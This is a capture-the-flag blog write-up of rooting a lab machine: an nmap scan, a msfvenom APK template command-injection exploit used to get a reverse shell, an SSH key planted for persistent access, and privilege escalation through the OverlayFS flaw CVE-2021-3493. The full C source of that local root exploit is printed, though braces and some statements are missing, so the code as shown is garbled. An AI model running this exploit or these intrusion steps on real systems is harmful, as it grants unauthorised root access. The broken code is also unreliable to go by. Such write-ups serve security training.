Muzec's Cyber Security Blog

Hack. Sleep. Repeat

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We always start with an nmap scan…..

Nmap -sC -sV -oA nmap <Target-IP>

# Nmap 7.91 scan initiated Fri May 21 10:33:31 2021 as: nmap -sC -sV -oA nmap
Nmap scan report for
Host is up (0.39s latency).
Not shown: 997 closed ports
22/tcp   open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
|   256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_  256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
1801/tcp filtered msmq
5000/tcp open     http    Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Fri May 21 10:34:38 2021 -- 1 IP address (1 host up) scanned in 67.14 seconds

We have a web application running on port 5000 Werkzeug httpd 0.16.1 (Python 3.8.5) let hit it .


Bursting directory but got nothing now let try to put what we have in order going through the web application.


I found here interesting seems like a msfvenom APK Template Command Injection exploit that was recently release.



Exploit Description

This module exploits a command injection vulnerability in Metasploit Framework’s msfvenom payload generator when using a crafted APK file as an Android payload template. Affects Metasploit Framework <= 6.0.11 and Metasploit Pro <= 4.18.0. The file produced by this module is a relatively empty yet valid-enough APK file. To trigger the vulnerability, the victim user should do the following: msfvenom -p android/<…> -x


Now let generate one using the metasploit module, Launching metasploit with msfconsole and use module .


Apk generated now let try and get a reverse shell on the web application and aslo start an Ncat listener with the port we add when generating the APK.


Since we generated a APk we pick OS: android lhost: VPN-IP template file (optional): let pick the APK we generated and click on generate when we hit it going back to our listener give us a reverse shell back.


And going to the home directory we have user.txt also seems we have access to the SSH folder let add our public key to it to be able to SSH into the machine with the user kid .


Adding SSH public key .


SSH we are in.


Privilege Escalation

I know we have another user on the machine but got no access to it so let try and check for kernal version and running process etc.



Ok let run to enumerate the machine well to see what we are missing .


Seems overlayfs i recently write about it give it a read here OverlayFS - Local Privilege Escalation - CVE-2021-3493 (POC) .

Now we can just copy the exploit and save in a file maybe exploit.c exploit code below .

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);

#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"

static void xmkdir(const char *path, mode_t mode)
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);

static void xwritefile(const char *path, const char *data)
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);

static void xcopyfile(const char *src, const char *dst, mode_t mode)
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
        } else if (rd == -1) {
            if (errno == EINTR)
            err(1, "read %s", src);

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                err(1, "write %s", dst);
            p += wr;
            rd -= wr;


static int exploit()
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;

int main(int argc, char *argv[])
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
    } else {
        waitpid(child, NULL, 0);

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);

We can using nano to save it.


Now let compile it using gcc exploit.c -o exploit .


Now let run the exploit.


We are root box rooted.

Greeting From Muzec

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